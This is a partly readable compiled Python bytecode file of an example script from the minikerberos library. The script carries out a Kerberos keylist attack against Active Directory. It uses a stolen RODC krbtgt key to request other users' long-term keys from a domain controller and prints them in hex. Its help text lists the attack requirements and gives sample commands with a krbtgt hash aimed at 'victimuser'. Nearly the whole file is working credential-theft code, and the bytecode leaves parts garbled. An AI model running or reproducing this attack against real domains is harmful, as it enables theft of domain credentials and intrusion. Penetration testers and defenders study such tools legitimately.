o
    j                     @   s   d dl Z d dlZd dlmZmZ d dlmZ d dlmZ dZ	d dl
Z
G dd de
jZdded	ed
efddZdd ZedkrDe  dS dS )    N)KerberosClientFactorykerberos_url_help_epilog)Kirbi)KERB_KEY_LIST_REPa  
Requiremets:
    - You must obtain a valid secret key for an RODC krbtgt_##### account
    - Point the URL to a non-RODC active directory server
	- The target server in the URL specification can be IP address or FQDN
	- This attack is really sensitive on using the correct domain in the URL specification
	- The target user MUST be a user account that is explicitly allowed to be synchronized to the RODC
Example:
    python keylist.py 'kerberos+rc4://test.corp\krbtgt_1234:921a7fece11f4d8c72432e41e40d0372@10.10.10.2' victimuser
    python keylist.py 'kerberos+aes://test.corp\krbtgt_1234:921a7fece11f4d8c72432e41e40d0372921a7fece11f4d8c72432e41e40d0372@10.10.10.2' victimuser
c                   @   s4   e Zd ZdZdZdZdZdZdZdZ	dZ
d	Zd
ZdS )SupportedEtypes                   i   i   i   i   N)__name__
__module____qualname__DES_CBC_CRCDES_CBC_MD5ARCFOUR_HMAC_MD5AES128_CTS_HMAC_SHA1_96AES256_CTS_HMAC_SHA1_96AES256_CTS_HMAC_SHA1_96_SKFASTCOMPOUND_IDENTITYCLAIM_TOKEN!Resource_SID_compression_disabled r   r   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/minikerberos/examples/keylist.pyr      s    r   kerberos_url
targetusertargetrealmc                    sR  t d g }zt|d}|  }W d    n1 sw   Y  W n ty< } z|| W Y d }~nd }~ww |D ]}zt| }|	 }|j
||dI d H \}}	}
W n tyu } ztd| d|  W Y d }~q?d }~ww t|	 i }d|	v r|	d d ur|	d D ]D}|d dkrt|d	 }|jD ]}
|
d
 |vrg ||
d
 < ||
d
  |
d  qq|d dkrtj|d	 ddd}tt|j qt|dkrtd| d q?|}|d}|d ur	t|d dkrd|d }n|d}d||d d f }|D ]}|| D ]}td||| f  qtd qq?d S )NzPerforming keylist attackr)r   z[ERR] z: zencrypted-pa-datazpadata-type   zpadata-valuekeytypekeyvalue   littleF)signedr   z": No keys returned from the servercnamezname-stringr   \crealmz%s\%sz[%s] %s: %s )loggingdebugopenread
splitlines	Exceptionappendr   from_url
get_clientkeylistprintr   loadnativeint
from_bytesr   namelengetjoinhex)r   r   r   targetusersfecuclienttgsencTGSRepPartkeykeys	encpadatar3   supported_etypescredusername	userrealmr!   r"   r   r   r   keylistattack%   sj   





rL   c                  C   s   dd l } | jd| jtd}|jddddd |jdd	d
 |jddd
 |jddd
 | }|jdkr<tjtj	d n|jdkrItjtj
d ntjdd tt|j|j|j d S )Nr   zPerforms Keylist attack)descriptionformatter_classepilogz-vz	--verbosecount)actiondefaultz--targetrealmz*the realm to perform the keylist attack on)helpr   zthe kerberos target string. r   z)the user to perform the keylist attack on)levelr   )argparseArgumentParserRawDescriptionHelpFormatterKEYLIST_EPILOGadd_argument
parse_argsverboser*   basicConfigINFODEBUGasynciorunrL   r   r   r   )rU   parserargsr   r   r   main\   s   

rc   __main__)NN)r*   r_   minikerberos.common.factoryr   r   minikerberos.common.kirbir   "minikerberos.protocol.asn1_structsr   rX   enumIntFlagr   strrL   rc   r   r   r   r   r   <module>   s    7
